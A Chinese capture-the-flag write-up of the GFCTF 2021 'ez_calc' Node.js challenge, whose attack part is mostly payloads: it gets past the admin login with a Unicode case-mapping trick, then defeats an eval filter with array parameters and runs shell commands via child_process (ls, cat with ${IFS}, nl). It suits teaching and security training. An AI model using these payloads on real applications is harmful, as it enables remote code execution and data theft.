1.[GFCTF 2021]ez_calc 一道很有意思的一道nodejs的题
沙箱逃逸和绕过:
F12 看源码
if(req.body.username.toLowerCase() !== 'admin'
&& req.body.username.toUpperCase() === 'ADMIN'
&& req.body.passwd === 'admin123'){ // 登录成功,设置 session
绕过这个的办法就是利用特殊字符,比如通过Character.toUpperCose()后,ı会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为admın,登录成功,登录之后继续查看源码:
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {flag = true;calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");calc = calc.replace(/\\/g, "\\\\");//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {calc = calc.replace("x", "");
}try {result = eval(calc);}
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
发现flag的名字很长,直接读取的话长度不够,而且这里过滤了x,也无法直接利用
exec
,但是实际上这里是可以绕过的,因为我们通过require
导入的模块是一个Object
,那么就可以通过Object.values
获取到child_process
里面的各种方法,那么再通过数组下标[5]
就可以得到execSync
了,那么有了execSync
后就可以通过写入文件的方式读取flag了,payload
如下:
空格被过滤掉,得用${IFS}
去绕,不过这样的话长度又超了,所以只能把toString()
去掉,然后进行写文件的操作
calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
读文件带上回显:
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.